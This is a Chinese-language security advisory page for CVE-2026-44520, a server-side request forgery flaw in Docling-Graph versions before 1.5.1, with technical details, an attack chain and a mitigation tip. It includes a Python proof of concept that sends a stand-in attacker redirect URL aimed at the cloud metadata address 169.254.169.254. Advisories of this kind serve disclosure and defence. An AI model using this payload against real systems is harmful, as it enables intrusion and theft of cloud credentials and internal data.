IPBUF安全漏洞报告
English
CVE-2026-44520 CVSS 5.7 中危

CVE-2026-44520 Docling-Graph服务端请求伪造漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-44520
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Docling-Graph

相关标签

SSRFDocling-GraphCVE-2026-44520服务器端请求伪造网络安全Python

漏洞概述

Docling-Graph 在 1.5.1 之前的版本中存在服务器端请求伪造(SSRF)漏洞。该漏洞源于 `URLInputHandler` 类在处理用户提供的 URL 时,未验证目标地址是否解析为私有、回环或链路本地 IP 地址。`URLValidator` 仅检查 URL 格式,未进行 IP 级验证。此外,`requests.head()` 开启了重定向功能,允许攻击者通过中间 URL 将请求重定向至内部网络端点。攻击者通过控制 CLI 参数或 API 配置即可触发该漏洞,导致服务器端发起对内部资源的非授权访问。

技术细节

该漏洞位于 `docling_graph/core/input/handlers.py` 文件的 `URLInputHandler` 类中。当用户通过 `--source` CLI 参数或 `PipelineConfig.source` API 参数传入 URL 时,系统仅使用 `URLValidator` 检查 URL 是否包含有效的 scheme 和 netloc,完全缺失对解析后 IP 地址的性质判断(如是否为内网 IP)。

更为关键的是,代码逻辑中使用了 `requests.head(url, allow_redirects=True)`。这意味着攻击者可以利用 HTTP 重定向机制绕过部分限制。攻击者可以提供一个指向外部恶意服务器的 URL,该服务器返回 302 重定向响应,将 Location 指向受害者的内部敏感服务(如 http://127.0.0.1:80 或 http://169.254.169.254 的云元数据服务)。由于 Docling-Graph 会自动跟随重定向,受害者的服务器将代替攻击者访问内部资源,从而导致敏感信息泄露或内网探测。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用 Docling-Graph 且版本低于 1.5.1。
STEP 2
准备
攻击者准备一个恶意 URL,该 URL 指向一个由攻击者控制的服务器,该服务器配置为将请求重定向(302)到内部敏感地址(如 127.0.0.1 或内网网段)。
STEP 3
投递
攻击者向 Docling-Graph 的 API 发送请求,或在 CLI 中执行命令,将恶意 URL 作为 `source` 参数传递。
STEP 4
利用
Docling-Graph 服务器接收到 URL,由于缺乏 IP 校验,它请求攻击者提供的 URL。
STEP 5
重定向与访问
攻击者的服务器返回重定向响应,Docling-Graph 的 `requests.head()` 自动跟随重定向,向内部端点发起请求。
STEP 6
影响
内部服务的响应数据被返回给攻击者,或者攻击者利用此漏洞扫描内网端口,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-44520 # This script demonstrates how an attacker can trigger the SSRF vulnerability # by exploiting the 'source' parameter without IP validation. def trigger_ssrf(target_api, malicious_url): """ Simulates sending a request to the vulnerable Docling-Graph endpoint. :param target_api: The URL of the vulnerable Docling-Graph API instance. :param malicious_url: The URL that redirects to an internal resource. """ headers = { "Content-Type": "application/json" } # Payload exploiting the --source or PipelineConfig.source parameter payload = { "source": malicious_url } try: print(f"[*] Sending payload to {target_api} with source: {malicious_url}") response = requests.post(target_api, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print("[+] Response Content:") print(response.text) # Check if response suggests successful connection to internal resource if response.status_code == 200: print("[!] Potential SSRF successful. Check response content for internal data.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage: # Replace with the actual target endpoint vulnerable_target = "http://localhost:8000/api/v1/process" # A URL that redirects to an internal address (e.g., AWS metadata service) # Attacker controls redirector.com and sets it to redirect to http://169.254.169.254/latest/meta-data/ ssrf_payload = "http://attacker-controlled-redirect.com/redirect-to-metadata" trigger_ssrf(vulnerable_target, ssrf_payload)

影响范围

Docling-Graph < 1.5.1

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或安全组限制 Docling-Graph 应用的出站网络访问权限,仅允许其访问受信任的外部地址,并完全阻断对 RFC 1918 定义的私有地址及链路本地地址的连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表